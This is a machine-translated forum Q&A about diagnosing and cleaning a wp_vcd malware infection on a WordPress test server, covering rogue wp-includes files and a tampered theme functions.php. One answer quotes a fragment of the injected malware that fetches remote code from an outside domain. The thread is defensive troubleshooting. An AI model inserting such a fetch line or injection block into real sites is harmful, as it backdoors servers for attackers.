我最近在云 VPS 主机上设置了一个 Ubuntu 18 测试服务器,并安装了最新的 Wordpress。今天我去登录,但网站无法加载 - 我收到一个错误Error establishing a database connection
我进行了一些故障排除 - 在我的文件中添加了交换文件并阻止了 XML RPC 请求.htaccess
,但仍然无法加载网站。查看文件时apache2/access.log
,我注意到以下情况:
sudo tail -f /var/log/apache2/access.log 127.0.0.1 - - [06/Nov/2019:21:02:31 +0000] "GET /code.php HTTP/1.0" 404 23644 "-" "-" 127.0.0.1 - - [06/Nov/2019:21:02:31 +0000] "GET /code.php HTTP/1.0" 404 23644 "-" "-" 127.0.0.1 - - [06/Nov/2019:21:02:36 +0000] "GET /code.php HTTP/1.0" 404 23644 "-" "-" 127.0.0.1 - - [06/Nov/2019:21:02:37 +0000] "GET /code.php HTTP/1.0" 404 23644 "-" "-" 127.0.0.1 - - [06/Nov/2019:21:02:34 +0000] "GET /code.php HTTP/1.0" 404 23644 "-" "-" 127.0.0.1 - - [06/Nov/2019:21:02:36 +0000] "GET /code.php HTTP/1.0" 404 23644 "-" "-"
有千这些请求...还有一些POST
请求:
127.0.0.1 - - [06/Nov/2019:20:48:19 +0000] "POST /wp-cron.php?doing_wp_cron=1573073189.0748620033264160156250 HTTP/1.1" 200 166 "http://DOMAIN-REDACTED/wp-cron.php?doing_wp_cron=1573073189.0748620033 264160156250" "WordPress/5.2.4; http://DOMAIN REDACTED"
有人能帮我找到这些连接的来源吗?我在服务器上运行了几个 rootkit 扫描程序,但什么也没发现。我一直在仔细检查网络目录,寻找任何奇怪的东西,但还没有发现任何东西。谷歌搜索code.php
是没用的。我目前已经关闭了 Apache 服务,直到我能弄清楚发生了什么。
附言:这是一个测试服务器,我可以轻松地将其删除并创建一个新的服务器,但我真的很想在这里进行一些故障排除,看看我是否可以找出问题所在......谢谢!
答案1
经过一番搜索后发现这是一种wp_vcd
恶意软件感染。
我将添加一些有关如何清理它的细节,以便它能够帮助到其他人。
首先,我无法登录 WP 控制面板(一旦服务器收到 Web 请求,它就会被GET
来自本地主机的请求淹没,并mysqld
会因内存不足而崩溃)。为了解决这个问题,我将目录重命名theme
为theme.disabled
允许我登录控制面板的目录。我安装了 Sucuri 插件来对 WP 核心文件进行快速扫描/比较,并发现了一些不属于的文件。我删除了以下内容:
wp-includes/wp-feed.php
该文件包含一堆 IP 地址。显然,恶意软件会在用户登录时记录 IP,如果其中一个 IP 连接到该网站,就会抑制广告或网站上的任何垃圾内容
wp-includes/wp-vcd.php
这些wp-includes/wp-tmp.php
包含一些 base64 编码的 PHP 代码
我还检查了我的主题functions.php
,在这里我发现了调用的位置GET code.php
——只是它们不应该到达本地主机,而是应该发送到某个.pw
带有域的 C&C 服务器。我删除了这个文件并恢复了一个干净的版本。
此时,网站似乎一切正常,响应正常。我重新启用了主题并安装了一些额外的安全软件。我还检查了wp_users
数据库中的表,以确保没有添加管理员用户。如果这不仅仅是一个测试服务器,我还会通过 Cloudflare 或其他 WAF 解决方案来运行它,以获得额外的安全性。
答案2
在根文件夹中添加一个空的 /code.php,
但在主题 functions.php 中
在 php 块顶部添加了一些东西,
我删了它
在所有 functions.php 中进行文本搜索
/code.php" 或 /code.php' 或 /code.php
...
elseif ($tmpcontent = @file_get_contents("http://www.grilns.top/code.php") ...
//$start_wp_theme_tmp
//wp_tmp
//$end_wp_theme_tmp
?><?php
/**
* Theme functions and definitions
*
当然我删除了块直到
<?php
/**
* Theme functions and definitions
*
然后可能不再需要 root 中的 /code.php